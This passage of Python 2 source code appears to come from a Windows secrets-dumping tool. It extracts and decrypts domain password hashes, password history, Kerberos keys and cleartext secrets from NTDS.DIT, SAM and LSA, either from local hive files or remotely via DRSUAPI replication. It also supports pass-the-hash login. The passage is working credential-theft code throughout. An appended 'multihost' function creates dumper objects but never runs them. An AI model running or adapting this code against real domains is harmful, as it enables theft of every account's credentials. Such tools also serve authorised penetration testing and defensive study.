1619 logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
1620
1621 sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
1622 rid = sid.formatCanonical().split('-')[-1]
1623
1624 if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
1625 encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
1626 tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
1627 LMHash = self.__removeDESLayer(tmpLMHash, rid)
1628 else:
1629 LMHash = ntlm.LMOWFv1('', '')
1630
1631 if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
1632 encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
1633 if encryptedNTHash['Header'][:4] == '\x13\x00\x00\x00':
1634 # Win2016 TP4 decryption is different
1635 encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
1636 pekIndex = hexlify(encryptedNTHash['Header'])
1637 tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
1638 encryptedNTHash['EncryptedHash'][:16],
1639 encryptedNTHash['KeyMaterial'])
1640 else:
1641 tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
1642 NTHash = self.__removeDESLayer(tmpNTHash, rid)
1643 else:
1644 NTHash = ntlm.NTOWFv1('', '')
1645
1646 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
1647 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
1648 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
1649 else:
1650 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
1651
1652 if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
1653 pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
1654 else:
1655 pwdLastSet = 'N/A'
1656
1657 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
1658 if self.__pwdLastSet is True:
1659 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
1660 print answer
1661
1662 if outputFile is not None:
1663 self.__writeOutput(outputFile, answer + '\n')
1664
1665 if self.__history:
1666 LMHistory = []
1667 NTHistory = []
1668 if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
1669 encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
1670 tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
1671 for i in range(0, len(tmpLMHistory) / 16):
1672 LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
1673 LMHistory.append(LMHash)
1674
1675 if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
1676 encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
1677
1678 if encryptedNTHistory['Header'][:4] == '\x13\x00\x00\x00':
1679 # Win2016 TP4 decryption is different
1680 pekIndex = hexlify(encryptedNTHistory['Header'])
1681 tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
1682 encryptedNTHistory['EncryptedHash'],
1683 encryptedNTHistory['KeyMaterial'])
1684 else:
1685 tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
1686
1687 for i in range(0, len(tmpNTHistory) / 16):
1688 NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
1689 NTHistory.append(NTHash)
1690
1691 for i, (LMHash, NTHash) in enumerate(
1692 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
1693 if self.__noLMHash:
1694 lmhash = hexlify(ntlm.LMOWFv1('', ''))
1695 else:
1696 lmhash = hexlify(LMHash)
1697
1698 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash))
1699 if outputFile is not None:
1700 self.__writeOutput(outputFile, answer + '\n')
1701 print answer
1702 else:
1703 replyVersion = 'V%d' %record['pdwOutVersion']
1704 logging.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
1705 domain = None
1706 if self.__history:
1707 LMHistory = []
1708 NTHistory = []
1709
1710 rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0]
1711
1712 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
1713 try:
1714 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
1715 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
1716 except Exception, e:
1717 logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
1718 # Fallbacking to fixed table and hope for the best
1719 attId = attr['attrTyp']
1720 LOOKUP_TABLE = self.NAME_TO_ATTRTYP
1721
1722 if attId == LOOKUP_TABLE['dBCSPwd']:
1723 if attr['AttrVal']['valCount'] > 0:
1724 encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
1725 encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
1726 LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
1727 else:
1728 LMHash = ntlm.LMOWFv1('', '')
1729 elif attId == LOOKUP_TABLE['unicodePwd']:
1730 if attr['AttrVal']['valCount'] > 0:
1731 encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
1732 encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
1733 NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
1734 else:
1735 NTHash = ntlm.NTOWFv1('', '')
1736 elif attId == LOOKUP_TABLE['userPrincipalName']:
1737 if attr['AttrVal']['valCount'] > 0:
1738 try:
1739 domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
1740 except:
1741 domain = None
1742 else:
1743 domain = None
1744 elif attId == LOOKUP_TABLE['sAMAccountName']:
1745 if attr['AttrVal']['valCount'] > 0:
1746 try:
1747 userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
1748 except:
1749 logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
1750 userName = 'unknown'
1751 else:
1752 logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
1753 userName = 'unknown'
1754 elif attId == LOOKUP_TABLE['objectSid']:
1755 if attr['AttrVal']['valCount'] > 0:
1756 objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
1757 else:
1758 logging.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
1759 objectSid = rid
1760 elif attId == LOOKUP_TABLE['pwdLastSet']:
1761 if attr['AttrVal']['valCount'] > 0:
1762 try:
1763 pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', ''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
1764 except:
1765 logging.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
1766 pwdLastSet = 'N/A'
1767
1768 if self.__history:
1769 if attId == LOOKUP_TABLE['lmPwdHistory']:
1770 if attr['AttrVal']['valCount'] > 0:
1771 encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
1772 tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
1773 for i in range(0, len(tmpLMHistory) / 16):
1774 LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
1775 LMHistory.append(LMHashHistory)
1776 else:
1777 logging.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
1778 elif attId == LOOKUP_TABLE['ntPwdHistory']:
1779 if attr['AttrVal']['valCount'] > 0:
1780 encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
1781 tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
1782 for i in range(0, len(tmpNTHistory) / 16):
1783 NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
1784 NTHistory.append(NTHashHistory)
1785 else:
1786 logging.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
1787
1788 if domain is not None:
1789 userName = '%s\\%s' % (domain, userName)
1790
1791 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
1792 if self.__pwdLastSet is True:
1793 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
1794 print answer
1795
1796 if outputFile is not None:
1797 self.__writeOutput(outputFile, answer + '\n')
1798
1799 if self.__history:
1800 for i, (LMHashHistory, NTHashHistory) in enumerate(
1801 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
1802 if self.__noLMHash:
1803 lmhash = hexlify(ntlm.LMOWFv1('', ''))
1804 else:
1805 lmhash = hexlify(LMHashHistory)
1806
1807 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
1808 print answer
1809 if outputFile is not None:
1810 self.__writeOutput(outputFile, answer + '\n')
1811
1812 if outputFile is not None:
1813 outputFile.flush()
1814
1815 logging.debug('Leaving NTDSHashes.__decryptHash')
1816
1817 def dump(self):
1818 if self.__useVSSMethod is True:
1819 if self.__NTDS is None:
1820 # No NTDS.dit file provided and were asked to use VSS
1821 return
1822 else:
1823 if self.__NTDS is None:
1824 # DRSUAPI method, checking whether target is a DC
1825 try:
1826 self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
1827 except:
1828 # Target's not a DC
1829 return
1830
1831 # Let's check if we need to save results in a file
1832 if self.__outputFileName is not None:
1833 logging.debug('Saving output to %s' % self.__outputFileName)
1834 # We have to export. Are we resuming a session?
1835 if self.__savedSessionFile is not None:
1836 mode = 'a+'
1837 else:
1838 mode = 'w+'
1839 hashesOutputFile = codecs.open(self.__outputFileName+'.ntds',mode, encoding='utf-8')
1840 if self.__justNTLM is False:
1841 keysOutputFile = codecs.open(self.__outputFileName+'.ntds.kerberos',mode, encoding='utf-8')
1842 clearTextOutputFile = codecs.open(self.__outputFileName+'.ntds.cleartext',mode, encoding='utf-8')
1843 else:
1844 hashesOutputFile = None
1845 keysOutputFile = None
1846 clearTextOutputFile = None
1847
1848 logging.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
1849 if self.__useVSSMethod:
1850 # We start getting rows from the table aiming at reaching
1851 # the pekList. If we find users records we stored them
1852 # in a temp list for later process.
1853 self.__getPek()
1854 if self.__PEK is not None:
1855 logging.info('Reading and decrypting hashes from %s ' % self.__NTDS)
1856 # First of all, if we have users already cached, let's decrypt their hashes
1857 for record in self.__tmpUsers:
1858 try:
1859 self.__decryptHash(record, outputFile=hashesOutputFile)
1860 if self.__justNTLM is False:
1861 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
1862 except Exception, e:
1863 # import traceback
1864 # print traceback.print_exc()
1865 try:
1866 logging.error(
1867 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
1868 logging.error(str(e))
1869 pass
1870 except:
1871 logging.error("Error while processing row!")
1872 logging.error(str(e))
1873 pass
1874
1875 # Now let's keep moving through the NTDS file and decrypting what we find
1876 while True:
1877 try:
1878 record = self.__ESEDB.getNextRow(self.__cursor)
1879 except:
1880 logging.error('Error while calling getNextRow(), trying the next one')
1881 continue
1882
1883 if record is None:
1884 break
1885 try:
1886 if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
1887 self.__decryptHash(record, outputFile=hashesOutputFile)
1888 if self.__justNTLM is False:
1889 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
1890 except Exception, e:
1891 # import traceback
1892 # print traceback.print_exc()
1893 try:
1894 logging.error(
1895 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
1896 logging.error(str(e))
1897 pass
1898 except:
1899 logging.error("Error while processing row!")
1900 logging.error(str(e))
1901 pass
1902 else:
1903 logging.info('Using the DRSUAPI method to get NTDS.DIT secrets')
1904 status = STATUS_MORE_ENTRIES
1905 enumerationContext = 0
1906
1907 # Do we have to resume from a previously saved session?
1908 if self.__savedSessionFile is not None:
1909 # Yes
1910 try:
1911 resumeFile = open(self.__savedSessionFile, 'rwb+')
1912 except Exception, e:
1913 raise Exception('Cannot open resume session file name %s' % str(e))
1914 resumeSid = resumeFile.read().strip('\n')
1915 logging.info('Resuming from SID %s, be patient' % resumeSid)
1916 # The resume session file is the same as the savedSessionFile
1917 tmpName = self.__savedSessionFile
1918 resumeFile = open(tmpName, 'wb+')
1919 else:
1920 resumeSid = None
1921 # We do not create a resume file when asking for a single user
1922 if self.__justUser is None:
1923 tmpName = 'sessionresume_%s' % ''.join([random.choice(string.letters) for i in range(8)])
1924 logging.debug('Session resume file will be %s' % tmpName)
1925 # Creating the resume session file
1926 try:
1927 resumeFile = open(tmpName, 'wb+')
1928 self.__resumeSessionFile = tmpName
1929 except Exception, e:
1930 raise Exception('Cannot create resume session file %s' % str(e))
1931
1932 if self.__justUser is not None:
1933 crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN,
1934 drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME,
1935 name=self.__justUser)
1936
1937 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
1938 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
1939 logging.error("%s: %s" % system_errors.ERROR_MESSAGES[
1940 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
1941 return
1942
1943 userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
1944 #userRecord.dump()
1945 replyVersion = 'V%d' % userRecord['pdwOutVersion']
1946 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
1947 raise Exception('DRSGetNCChanges didn\'t return any object!')
1948 else:
1949 logging.warning('DRSCrackNames returned %d items for user %s, skipping' % (
1950 crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))
1951 try:
1952 self.__decryptHash(userRecord,
1953 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
1954 hashesOutputFile)
1955 if self.__justNTLM is False:
1956 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
1957 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
1958
1959 except Exception, e:
1960 #import traceback
1961 #traceback.print_exc()
1962 logging.error("Error while processing user!")
1963 logging.error(str(e))
1964 else:
1965 while status == STATUS_MORE_ENTRIES:
1966 resp = self.__remoteOps.getDomainUsers(enumerationContext)
1967
1968 for user in resp['Buffer']['Buffer']:
1969 userName = user['Name']
1970
1971 userSid = self.__remoteOps.ridToSid(user['RelativeId'])
1972 if resumeSid is not None:
1973 # Means we're looking for a SID before start processing back again
1974 if resumeSid == userSid.formatCanonical():
1975 # Match!, next round we will back processing
1976 logging.debug('resumeSid %s reached! processing users from now on' % userSid.formatCanonical())
1977 resumeSid = None
1978 else:
1979 logging.debug('Skipping SID %s since it was processed already' % userSid.formatCanonical())
1980 continue
1981
1982 # Let's crack the user sid into DS_FQDN_1779_NAME
1983 # In theory I shouldn't need to crack the sid. Instead
1984 # I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
1985 # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
1986 crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
1987 drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME,
1988 name=userSid.formatCanonical())
1989
1990 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
1991 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
1992 logging.error("%s: %s" % system_errors.ERROR_MESSAGES[
1993 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
1994 break
1995 userRecord = self.__remoteOps.DRSGetNCChanges(
1996 crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
1997 # userRecord.dump()
1998 replyVersion = 'V%d' % userRecord['pdwOutVersion']
1999 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
2000 raise Exception('DRSGetNCChanges didn\'t return any object!')
2001 else:
2002 logging.warning('DRSCrackNames returned %d items for user %s, skipping' % (
2003 crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
2004 try:
2005 self.__decryptHash(userRecord,
2006 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
2007 hashesOutputFile)
2008 if self.__justNTLM is False:
2009 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
2010 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
2011
2012 except Exception, e:
2013 #import traceback
2014 #traceback.print_exc()
2015 logging.error("Error while processing user!")
2016 logging.error(str(e))
2017
2018 # Saving the session state
2019 resumeFile.seek(0,0)
2020 resumeFile.truncate(0)
2021 resumeFile.write(userSid.formatCanonical())
2022 resumeFile.flush()
2023
2024 enumerationContext = resp['EnumerationContext']
2025 status = resp['ErrorCode']
2026
2027 # Everything went well and we covered all the users
2028 # Let's remove the resume file is we had created it
2029 if self.__justUser is None:
2030 resumeFile.close()
2031 os.remove(tmpName)
2032 self.__resumeSessionFile = None
2033
2034 logging.debug("Finished processing and printing user's hashes, now printing supplemental information")
2035 # Now we'll print the Kerberos keys. So we don't mix things up in the output.
2036 if len(self.__kerberosKeys) > 0:
2037 if self.__useVSSMethod is True:
2038 logging.info('Kerberos keys from %s ' % self.__NTDS)
2039 else:
2040 logging.info('Kerberos keys grabbed')
2041
2042 for itemKey in self.__kerberosKeys.keys():
2043 print itemKey
2044
2045 # And finally the cleartext pwds
2046 if len(self.__clearTextPwds) > 0:
2047 if self.__useVSSMethod is True:
2048 logging.info('ClearText password from %s ' % self.__NTDS)
2049 else:
2050 logging.info('ClearText passwords grabbed')
2051
2052 for itemKey in self.__clearTextPwds.keys():
2053 print itemKey
2054
2055 # Closing output file
2056 if self.__outputFileName is not None:
2057 hashesOutputFile.close()
2058 if self.__justNTLM is False:
2059 keysOutputFile.close()
2060 clearTextOutputFile.close()
2061
2062 @classmethod
2063 def __writeOutput(cls, fd, data):
2064 try:
2065 fd.write(data)
2066 except Exception, e:
2067 logging.error("Error writing entry, skippingi (%s)" % str(e))
2068 pass
2069
2070 def finish(self):
2071 if self.__NTDS is not None:
2072 self.__ESEDB.close()
2073
2074
2075class DumpSecrets:
2076 def __init__(self, address, username='', password='', domain='', options=None):
2077 self.__useVSSMethod = options.use_vss
2078 self.__remoteAddr = address
2079 self.__username = username
2080 self.__password = password
2081 self.__domain = domain
2082 self.__lmhash = ''
2083 self.__nthash = ''
2084 self.__aesKey = options.aesKey
2085 self.__smbConnection = None
2086 self.__remoteOps = None
2087 self.__SAMHashes = None
2088 self.__NTDSHashes = None
2089 self.__LSASecrets = None
2090 self.__systemHive = options.system
2091 self.__securityHive = options.security
2092 self.__samHive = options.sam
2093 self.__ntdsFile = options.ntds
2094 self.__history = options.history
2095 self.__noLMHash = True
2096 self.__isRemote = True
2097 self.__outputFileName = options.outputfile
2098 self.__doKerberos = options.k
2099 self.__justDC = options.just_dc
2100 self.__justDCNTLM = options.just_dc_ntlm
2101 self.__justUser = options.just_dc_user
2102 self.__pwdLastSet = options.pwd_last_set
2103 self.__resumeFileName = options.resumefile
2104 self.__canProcessSAMLSA = True
2105 self.__kdcHost = options.dc_ip
2106
2107 if options.hashes is not None:
2108 self.__lmhash, self.__nthash = options.hashes.split(':')
2109
2110 def connect(self):
2111 self.__smbConnection = SMBConnection(self.__remoteAddr, self.__remoteAddr)
2112 if self.__doKerberos:
2113 self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
2114 self.__nthash, self.__aesKey, self.__kdcHost)
2115 else:
2116 self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
2117
2118 def getBootKey(self):
2119 # Local Version whenever we are given the files directly
2120 bootKey = ''
2121 tmpKey = ''
2122 winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
2123 # We gotta find out the Current Control Set
2124 currentControlSet = winreg.getValue('\\Select\\Current')[1]
2125 currentControlSet = "ControlSet%03d" % currentControlSet
2126 for key in ['JD','Skew1','GBG','Data']:
2127 logging.debug('Retrieving class info for %s'% key)
2128 ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key))
2129 digit = ans[:16].decode('utf-16le')
2130 tmpKey = tmpKey + digit
2131
2132 transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
2133
2134 tmpKey = unhexlify(tmpKey)
2135
2136 for i in xrange(len(tmpKey)):
2137 bootKey += tmpKey[transforms[i]]
2138
2139 logging.info('Target system bootKey: 0x%s' % hexlify(bootKey))
2140
2141 return bootKey
2142
2143 def checkNoLMHashPolicy(self):
2144 logging.debug('Checking NoLMHash Policy')
2145 winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
2146 # We gotta find out the Current Control Set
2147 currentControlSet = winreg.getValue('\\Select\\Current')[1]
2148 currentControlSet = "ControlSet%03d" % currentControlSet
2149
2150 #noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
2151 noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
2152 if noLmHash is not None:
2153 noLmHash = noLmHash[1]
2154 else:
2155 noLmHash = 0
2156
2157 if noLmHash != 1:
2158 logging.debug('LMHashes are being stored')
2159 return False
2160 logging.debug('LMHashes are NOT being stored')
2161 return True
2162
2163 def dump(self):
2164 try:
2165 if self.__remoteAddr.upper() == 'LOCAL' and self.__username == '':
2166 self.__isRemote = False
2167 self.__useVSSMethod = True
2168 bootKey = self.getBootKey()
2169 if self.__ntdsFile is not None:
2170 # Let's grab target's configuration about LM Hashes storage
2171 self.__noLMHash = self.checkNoLMHashPolicy()
2172 else:
2173 self.__isRemote = True
2174 bootKey = None
2175 try:
2176 self.connect()
2177 self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
2178 if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
2179 self.__remoteOps.enableRegistry()
2180 bootKey = self.__remoteOps.getBootKey()
2181 # Let's check whether target system stores LM Hashes
2182 self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
2183 except Exception, e:
2184 self.__canProcessSAMLSA = False
2185 logging.error('RemoteOperations failed: %s' % str(e))
2186
2187 # If RemoteOperations succeeded, then we can extract SAM and LSA
2188 if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
2189 try:
2190 if self.__isRemote is True:
2191 SAMFileName = self.__remoteOps.saveSAM()
2192 else:
2193 SAMFileName = self.__samHive
2194
2195 self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
2196 self.__SAMHashes.dump()
2197 if self.__outputFileName is not None:
2198 self.__SAMHashes.export(self.__outputFileName)
2199 except Exception, e:
2200 logging.error('SAM hashes extraction failed: %s' % str(e))
2201
2202 try:
2203 if self.__isRemote is True:
2204 SECURITYFileName = self.__remoteOps.saveSECURITY()
2205 else:
2206 SECURITYFileName = self.__securityHive
2207
2208 self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote)
2209 self.__LSASecrets.dumpCachedHashes()
2210 if self.__outputFileName is not None:
2211 self.__LSASecrets.exportCached(self.__outputFileName)
2212 self.__LSASecrets.dumpSecrets()
2213 if self.__outputFileName is not None:
2214 self.__LSASecrets.exportSecrets(self.__outputFileName)
2215 except Exception, e:
2216 logging.error('LSA hashes extraction failed: %s' % str(e))
2217
2218 # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
2219 if self.__isRemote is True:
2220 if self.__useVSSMethod and self.__remoteOps is not None:
2221 NTDSFileName = self.__remoteOps.saveNTDS()
2222 else:
2223 NTDSFileName = None
2224 else:
2225 NTDSFileName = self.__ntdsFile
2226
2227 self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
2228 noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
2229 useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
2230 pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
2231 outputFileName=self.__outputFileName, justUser=self.__justUser)
2232 try:
2233 self.__NTDSHashes.dump()
2234 except Exception, e:
2235 logging.error(e)
2236 if self.__useVSSMethod is False:
2237 logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
2238 self.cleanup()
2239 except (Exception, KeyboardInterrupt), e:
2240 #import traceback
2241 #print traceback.print_exc()
2242 logging.error(e)
2243 if self.__NTDSHashes is not None:
2244 if isinstance(e, KeyboardInterrupt):
2245 while True:
2246 answer = raw_input("Delete resume session file? [y/N] ")
2247 if answer.upper() == '':
2248 answer = 'N'
2249 break
2250 elif answer.upper() == 'Y':
2251 answer = 'Y'
2252 break
2253 elif answer.upper() == 'N':
2254 answer = 'N'
2255 break
2256 if answer == 'Y':
2257 resumeFile = self.__NTDSHashes.getResumeSessionFile()
2258 if resumeFile is not None:
2259 os.unlink(resumeFile)
2260 try:
2261 self.cleanup()
2262 except:
2263 pass
2264
2265 def cleanup(self):
2266 logging.info('Cleaning up... ')
2267 if self.__remoteOps:
2268 self.__remoteOps.finish()
2269 if self.__SAMHashes:
2270 self.__SAMHashes.finish()
2271 if self.__LSASecrets:
2272 self.__LSASecrets.finish()
2273 if self.__NTDSHashes:
2274 self.__NTDSHashes.finish()
2275
2276def multihost(ips=[], username='', password='', domain='', options=[]):
2277 """ dumper = DumpSecrets(address, username, password, domain, options)"""
2278 if type(ips) != list:
2279 raise(ValueError)
2280 for ip in ips:
2281 try:
2282 dumper= DumpSecrets(ip, username, password, domain, options)
2283 except Exception as e:
2284 print(e)
2285
2286
2287# Process command-line arguments.
2288if __name__ == '__main__':
2289 # Init the example's logger theme
2290 logger.init()
2291 # Explicitly changing the stdout encoding format
2292 if sys.stdout.encoding is None:
2293 # Output is redirected to a file
2294 sys.stdout = codecs.getwriter('utf8')(sys.stdout)
2295
2296 print version.BANNER
2297
2298 parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from the remote machine without executing any agent there.")
2299
2300 parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL (if you want to parse local files)')
2301 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
2302 parser.add_argument('-system', action='store', help='SYSTEM hive to parse')
2303 parser.add_argument('-security', action='store', help='SECURITY hive to parse')
2304 parser.add_argument('-sam', action='store', help='SAM hive to parse')
2305 parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse')
2306 parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session\'s state')
2307 parser.add_argument('-outputfile', action='store',
2308 help='base output filename. Extensions will be added for sam, secrets, cached and ntds')
2309 parser.add_argument('-use-vss', action='store_true', default=False,
2310 help='Use the VSS method insead of default DRSUAPI')
2311 group = parser.add_argument_group('display options')
2312 group.add_argument('-just-dc-user', action='store', metavar='USERNAME',
2313 help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch')
2314 group.add_argument('-just-dc', action='store_true', default=False,
2315 help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')
2316 group.add_argument('-just-dc-ntlm', action='store_true', default=False,
2317 help='Extract only NTDS.DIT data (NTLM hashes only)')
2318 group.add_argument('-pwd-last-set', action='store_true', default=False,
2319 help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data')
2320 group.add_argument('-history', action='store_true', help='Dump password history')
2321 group = parser.add_argument_group('authentication')
2322
2323 group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
2324 group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
2325 group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
2326 group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
2327 group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
2328
2329 if len(sys.argv)==1:
2330 parser.print_help()
2331 sys.exit(1)
2332
2333 options = parser.parse_args()
2334
2335 if options.debug is True:
2336 logging.getLogger().setLevel(logging.DEBUG)
2337 else:
2338 logging.getLogger().setLevel(logging.INFO)
2339
2340 import re
2341
